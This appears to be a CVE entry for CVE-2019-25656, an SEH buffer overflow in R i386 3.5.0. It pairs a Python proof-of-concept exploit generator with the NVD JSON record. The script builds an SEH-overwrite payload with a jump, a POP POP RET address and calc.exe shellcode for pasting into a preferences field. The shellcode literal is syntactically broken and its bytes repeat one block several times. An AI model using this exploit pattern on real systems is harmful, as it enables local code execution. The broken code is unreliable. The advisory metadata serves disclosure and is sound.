CVE-2019-25656

# PoC Code for CVE-2019-25656 (SEH Buffer Overflow) # This script generates a malicious payload to trigger the overflow. import sys # Configuration offset = 1000 # Offset to overwrite SEH (Hypothetical value) # POP POP RET instruction address (Non-ASLR module required) # Replace with actual address from vulnerable application modules seh_handler = b"\xaf\x11\x50\x62" # Jump to shellcode (Short jump: 6 bytes) next_seh = b"\xeb\x06\x90\x90" # Example Shellcode (Calc.exe) # msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python shellcode = b"" \xdb\xc0\xd9\x74\x24\xf4\x5f\x29\xc9\xb1\x31\xbb\xe6\x8a\xc4\x39" \x31\x53\x18\x03\x53\x18\x83\xc3\xfc\xe2\xf4\x8c\x6f\x22\x86\x5f" \x1e\x43\xc9\x6e\x03\xe4\xb4\x44\x89\x0c\x33\x72\x3b\xf0\x78\x5c" \x2b\x1e\xa0\x89\x4b\x4a\xc3\x3e\x56\x6d\x52\xc3\x5e\x2b\x37\x42" \x2d\x76\x7f\x5e\x2b\x73\x3f\x3d\x63\x53\x2a\x4e\x7d\x1c\x4a\x3e" \x76\x7b\x3f\x66\x63\x8a\x4a\x3e\x76\x7b\x3d\x5e\x2b\x2b\x1e\x89\x4b" \x4a\xc3\x3e\x56\x6d\x52\xc3\x5e\x2b\x37\x42\x2d\x76\x7f\x5e\x2b\x73\x3f" \x3d\x63\x53\x2a\x4e\x7d\x1c\x4a\x3e\x76\x7b\x3f\x66\x63\x8a\x4a\x3e\x76" \x7b\x3d\x5e\x2b\x2b\x1e\x89\x4b\x4a\xc3\x3e\x56\x6d\x52\xc3\x5e\x2b\x37" \x42\x2d\x76\x7f\x5e\x2b\x73\x3f\x3d\x63\x53\x2a\x4e\x7d\x1c\x4a\x3e\x76" \x7b\x3f\x66\x63\x8a\x4a\x3e\x76\x7b\x3d\x5e\x2b\x2b\x1e\x89\x4b\x4a\xc3 """ # Construct the payload payload = b"A" * offset + next_seh + seh_handler + b"\x90" * 32 + shellcode # Output payload to be pasted in 'Language for menus and messages' field print("[+] Malicious Payload Generated:") print(payload.decode('latin-1'))

{"cve": {"id": "CVE-2019-25656", "sourceIdentifier": "[email protected]", "published": "2026-04-05T21:16:42.173", "lastModified": "2026-04-16T16:15:56.380", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "R i386 3.5.0 contains a local buffer overflow vulnerability in the GUI Preferences dialog that allows local attackers to trigger a structured exception handler (SEH) overwrite by supplying malicious input. Attackers can craft a payload string in the 'Language for menus and messages' field to overwrite SEH records and achieve code execution with calculator or arbitrary shellcode."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://cran.r-project.org/bin/windows/base/old/3.5.0/R-3.5.0-win.exe", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46288", "source": "[email protected]"}, {"url": "https://www.r-project.org/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/r-i386-local-buffer-overflow-seh", "source": "[email protected]"}]}}